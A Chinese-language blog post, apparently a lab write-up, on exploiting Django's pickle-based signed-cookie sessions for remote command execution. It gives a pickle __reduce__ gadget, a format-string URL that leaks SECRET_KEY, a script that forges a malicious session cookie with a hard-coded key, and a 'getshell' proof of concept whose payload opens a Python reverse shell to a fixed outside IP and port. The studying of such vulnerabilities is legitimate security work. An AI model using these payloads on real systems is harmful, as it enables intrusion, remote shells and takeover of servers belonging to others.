zoukankan      html  css  js  c++  java
  • Django框架的一些漏洞

    首先我们先来了解一下python中的序列号模板 pickle 这里以一段代码为例子

    import base64
    import pickle
        
        
    class cmd(object):
        def __reduce__(self):
            import os
            return (os.system, ('whoami', ))
        
    sersize = base64.b64encode(pickle.dumps(cmd()))
    print sersize

    Y250CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==
    

     然后我们将得到的字符串用pickle.load方法在去加载执行他

    import sys
    import base64
    import pickle
    
    pickle.loads(base64.b64decode(sys.argv[1]))
    

     看见命令被执行

    接下来我们对Django框架的rce进行一个简单的分析

    环境 centos7 django web
    exploit环境 windows10 python2 djang-1.10.2

    我们这里以django1.3.0来举例

    这里我们django包的路径在

    /usr/lib/python2.7/site-packages/django/contrib/sessions

     在1.6之前 django对session的处理都是用的PickleSerializer方法来实现的

    以我现在的web为例子

     调用了PickleSerializer方法来对session进行处理,那么我们接下来看一下整个session的获取调用链可以可以为我们所用 这里跟踪方法到

    /usr/lib/python2.7/site-packages/django/contrib/sessions/middleware.py

    这里配合我们上面看见的settings可以真的 session可以被我们在传递的时候进行控制

    全密钥-SECRET_KEY,作为 Django 项目中最核心的密钥,通常情况下是不可能外泄的,但是凡事都有不能预料的时候,例如,开发人员疏忽将 SECRET_KEY 作为一个 api 密钥加载于 JS 中,又或者项目中存在任意文件下载漏洞,攻击者通过下载 settings.py 文件读取到了密钥 SECRET_KEY 的值,其他种种诸如此类的原因致使 SECRET_KEY 泄露成为可能。
    
    若同时满足上述两个条件,并且使用了 PickleSerializer() 序列化处理过程,那么攻击者就可以构造出恶意的序列化字串,传递给服务器,致使服务器在访问或修改会话信息时调用了相应引擎的 load() 函数,反序列化 session 加密字串,触发 pickle 任意命令执行漏洞。

    实战

    第一步通过djang格式化字符串获取到加密的安全KEY

    http://192.168.79.140/blog/hello/?input={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
    

     第二步构造exp

    # coding: utf-8
    from django.contrib.sessions.serializers import PickleSerializer
    from django.core import signing
    from django.conf import settings
    
    settings.configure(SECRET_KEY='85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r')  # SECRET_KEY 参数的值为 demo Django 项目的 SECRET_KEY 值
    
    
    class CreateTmpFile(object):
        def __reduce__(self):
            import subprocess
            return (subprocess.call,
                    (['touch',
                      '/tmp/vulnerable.txt'],))
    
    
    sess = signing.dumps(
        obj=CreateTmpFile(),
        serializer=PickleSerializer,
        salt='django.contrib.sessions.backends.signed_cookies'
    )
    print sess

    获取到加密的cookie 然后向需要认证cookie的页面/admin/发包

     服务端会获取到一个500的响应

     

    此时看见rce成功

    接下来我们构造getshell poc

    # coding: utf-8
    from django.contrib.sessions.serializers import PickleSerializer
    from django.core import signing
    from django.conf import settings
    
    settings.configure(SECRET_KEY='85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r')
    
    
    class GetShellWithPython(object):
        def __reduce__(self):
            import subprocess
            return (subprocess.call,
                    (['python',
                      '-c',
                      'import socket,subprocess,os;'
                      's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
                      's.connect(("103.224.82.158",31337));'
                      'os.dup2(s.fileno(),0);'
                      'os.dup2(s.fileno(),1);'
                      'os.dup2(s.fileno(),2);'
                      'subprocess.call(["/bin/sh","-i"]);'],))
    
    
    sess = signing.dumps(
        obj=GetShellWithPython(),
        serializer=PickleSerializer,
        salt='django.contrib.sessions.backends.signed_cookies'
    )
    print sess

    总结

    这个环境搭建起来有点麻烦,尤其是安装MySQL-Pthon的时候各种报错 docker方便但是不使用他是为了更好的了解漏洞,因为第一次接触到python的所以做的比较细心

    环境搭建

    https://github.com/jhao104/django-blog
    https://stackoverflow.com/questions/5178292/pip-install-mysql-python-fails-with-environmenterror-mysql-config-not-found
    yum install python-devel mysql-devel

    exp参考

    http://drops.xmd5.com/static/drops/web-8528.html
    https://xz.aliyun.com/t/5793
    https://segmentfault.com/q/1010000006007036
    https://docs.python.org/2/library/pickle.html
    https://rickgray.me/2015/09/12/django-command-execution-analysis/
    https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.htm

    Y250CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==

  • 相关阅读:
    开始制作国产的 scratch
    七个对我最重要的职业建议(译文)
    不要在功能上竞争
    来看看机智的前端童鞋怎么防盗
    悬疑塑成天才?
    Linux常用命令之重启关机命令
    Linux常用命令之网络命令
    Linux常用命令之文件搜索命令
    Linux常见命令之权限管理命令
    Linux常见命令之文件处理命令
  • 原文地址:https://www.cnblogs.com/-zhong/p/13463486.html
Copyright © 2011-2022 走看看